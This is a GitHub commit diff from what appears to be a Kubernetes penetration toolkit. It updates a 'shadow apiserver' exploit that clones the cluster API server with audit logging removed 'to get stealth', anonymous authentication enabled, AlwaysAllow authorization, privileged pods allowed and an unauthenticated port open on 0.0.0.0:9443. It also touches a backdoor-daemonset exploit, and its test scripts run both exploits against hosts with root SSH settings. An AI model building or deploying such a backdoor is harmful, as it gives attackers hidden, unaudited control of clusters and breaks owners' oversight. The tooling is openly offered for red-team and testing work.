Skip to content

Commit

Permalink
fit shadow-apiserver for newly k8s version
Browse files Browse the repository at this point in the history
  • Loading branch information
Xyntax committed Apr 13, 2021
1 parent 56a1434 commit cae3cf7
Show file tree
Hide file tree
Showing 6 changed files with 41 additions and 26 deletions.
1 change: 0 additions & 1 deletion pkg/exploit/k8s_backdoor_daemonset.go
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,6 @@ func getApiVersion(serverAddr string) (string, error) {
} else {
apiVersion = "extensions/v1beta1"
}
fmt.Println("apiVersion:", apiVersion)
return apiVersion, nil
}

Expand Down
20 changes: 12 additions & 8 deletions pkg/exploit/k8s_shadow_apiserver.go
Original file line number Diff line number Diff line change
Expand Up @@ -107,53 +107,57 @@ func generateShadowApiServerConf(json string) string {
json, _ = sjson.Delete(json, "metadata.creationTimestamp")
json, _ = sjson.Delete(json, "spec.tolerations")

// patch cdxy 20210413
// Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","reason":"Invalid","details":{"name":"kube-apiserver-10.206.0.11-shadow","kind":"Pod","causes":[{"reason":"FieldValueInvalid","message":"Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","field":"metadata.labels"}]},"code":422}
json, _ = sjson.Set(json, "metadata.name", gjson.Get(json, "metadata.name").String()+"-shadow")
json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"-shadow")
json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"shadow")

// remove audit logs to get stealth
reg := regexp.MustCompile(`(")(--audit-log-[^"]*?)(")`)
json = reg.ReplaceAllString(json, "${1}${3}")

argInsertReg := regexp.MustCompile(`(^[\s\S]*?"command"[\s\:]*?\[[^\]]*?"kube-apiserver")([^"]*?)(,\s*?"[\s\S]*?)$`)
//argInsertReg := regexp.MustCompile(`(^[\s\S]*?"command"[\s\:]*?\[[^\]]*?"kube-apiserver")([^"]*?)(,\s*?"[\s\S]*?)$`)
argInsertReg := regexp.MustCompile(`(^[\s\S]*?)("--etcd-keyfile=[^"]*?"[\s\S]*?)$`)

// set --allow-privileged=true
reg = regexp.MustCompile(`("--allow-privileged\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--allow-privileged") {
json = argInsertReg.ReplaceAllString(json, `${1},"--allow-privileged=true"${3}`)
json = argInsertReg.ReplaceAllString(json, `${1}"--allow-privileged=true",${2}`)
}

// set insecure-port to 0.0.0.0:9443
reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9443${3}")
if !strings.Contains(json, "--insecure-port") {
json = argInsertReg.ReplaceAllString(json, `${1},"--insecure-port=9443"${3}`)
json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`)
}
reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")
if !strings.Contains(json, "--insecure-bind-address") {
json = argInsertReg.ReplaceAllString(json, `${1},"--insecure-bind-address=0.0.0.0"${3}`)
json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`)
}
// set --secure-port to 9444
reg = regexp.MustCompile(`("--secure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9444${3}")
if !strings.Contains(json, "--secure-port") {
json = argInsertReg.ReplaceAllString(json, `${1},"--secure-port=9444"${3}`)
json = argInsertReg.ReplaceAllString(json, `${1}"--secure-port=9444",${2}`)
}

// set anonymous-auth to true
reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}true${3}")
if !strings.Contains(json, "--anonymous-auth") {
json = argInsertReg.ReplaceAllString(json, `${1},"--anonymous-auth=true"${3}`)
json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
}

// set authorization-mode=AlwaysAllow
reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}AlwaysAllow${3}")
if !strings.Contains(json, "--authorization-mode") {
json = argInsertReg.ReplaceAllString(json, `${1},"--authorization-mode=AlwaysAllow"${3}`)
json = argInsertReg.ReplaceAllString(json, `${1}"--authorization-mode=AlwaysAllow",${2}`)
}
fmt.Println(json)
return json
}

Expand Down
10 changes: 6 additions & 4 deletions test/CDK-deploy-test/lib/conf.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
class SERVER: # your remote server for test
HOST = '39.104.80.49'
HOST = '118.195.140.100'
USER = 'root'
PASS = ''
KEY_PATH = '/Users/xy/.ssh/id_rsa'


Expand Down Expand Up @@ -32,13 +33,14 @@ class K8S:

class SELFBUILD_K8S:
# Master node SSH
HOST = '123.56.40.100'
HOST = '118.195.140.100'
USER = 'root'
PASS = ''
KEY_PATH = '/Users/xy/.ssh/id_rsa'
REMOTE_HOST_PATH = '/root/cdk-fabric'
# upload cdk to target pod then check command output using kubectl
TARGET_POD = 'myappnew'
# you can keep it unchanged
REMOTE_POD_PATH = '/cdk-fabric'
KUBERNETES_SERVICE_PORT = '6443'
KUBERNETES_SERVICE_HOST = '192.168.0.150'
KUBERNETES_SERVICE_PORT = '443'
KUBERNETES_SERVICE_HOST = '172.16.252.1'
11 changes: 8 additions & 3 deletions test/CDK-deploy-test/lib/k8s_selfbuild_action.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,12 +4,17 @@
from lib.conf import CDK, SELFBUILD_K8S


def get_remote_conn():
connect_kwargs = {'key_filename': SELFBUILD_K8S.KEY_PATH}
def k8s_get_remote_conn():
# http://docs.paramiko.org/en/stable/api/client.html

if SELFBUILD_K8S.PASS:
connect_kwargs = {'password': SELFBUILD_K8S.PASS}
else:
connect_kwargs = {'key_filename': SELFBUILD_K8S.KEY_PATH}
return Connection(SELFBUILD_K8S.HOST, SELFBUILD_K8S.USER, connect_kwargs=connect_kwargs)


conn = get_remote_conn()
conn = k8s_get_remote_conn()


def output_err(env, cmd, pattern, type):
Expand Down
7 changes: 6 additions & 1 deletion test/CDK-deploy-test/lib/ssh_remote_action.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,12 @@


def get_remote_conn():
connect_kwargs = {'key_filename': SERVER.KEY_PATH}
# http://docs.paramiko.org/en/stable/api/client.html

if SERVER.PASS:
connect_kwargs = {'password': SERVER.PASS}
else:
connect_kwargs = {'key_filename': SERVER.KEY_PATH}
return Connection(SERVER.HOST, SERVER.USER, connect_kwargs=connect_kwargs)


Expand Down
18 changes: 9 additions & 9 deletions test/CDK-deploy-test/test_main.py
Original file line number Diff line number Diff line change
Expand Up @@ -530,7 +530,7 @@ def test_pod():
False
)
check_pod_exec(
'run k8s-backdoor-daemonset anonymous ubuntu', # success dump
'run k8s-backdoor-daemonset default ubuntu whoami', # success dump
['cdk-backdoor-daemonset'],
['panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
False
Expand All @@ -555,7 +555,7 @@ def test_pod():

# run: k8s-shadow-apiserver
k8s_master_ssh_cmd(
'kubectl delete pod kube-apiserver-cn-beijing.192.168.0.150-shadow -n kube-system',
'kubectl delete pod kube-apiserver-10.206.0.11-shadow -n kube-system',
[],
[],
False
Expand All @@ -573,7 +573,7 @@ def test_pod():
False
)
k8s_master_ssh_cmd(
'kubectl exec myappnew -- curl 192.168.0.150:9443', # curl shadow-apiserver
'kubectl exec myappnew -- curl 10.206.0.11:9443', # curl shadow-apiserver
['/api/v1'],
[],
False
Expand Down Expand Up @@ -648,7 +648,7 @@ def clear_all_env():
False
)
k8s_master_ssh_cmd(
'kubectl delete pod kube-apiserver-cn-beijing.192.168.0.150-shadow -n kube-system',
'kubectl delete pod kube-apiserver-10.206.0.11-shadow -n kube-system',
[],
[],
False
Expand Down Expand Up @@ -745,12 +745,12 @@ def test_auto_pwn():

def test_dev():
time.sleep(0.5)
# exploit: shim-pwn
# run: k8s-shadow-apiserver
check_selfbuild_k8s_pod_exec(
'run k8s-shadow-apiserver default',
[],
['[email protected]', 'cdk evaluate', '%s', 'input args'],
True
'run k8s-shadow-apiserver anonymous', # forbidden
['forbidden this request'],
['listening insecure-port: 0.0.0.0:9443', 'panic:', 'nodes is forbidden', 'cdk evaluate', 'empty'],
False
)


Expand Down

0 comments on commit cae3cf7

Please sign in to comment.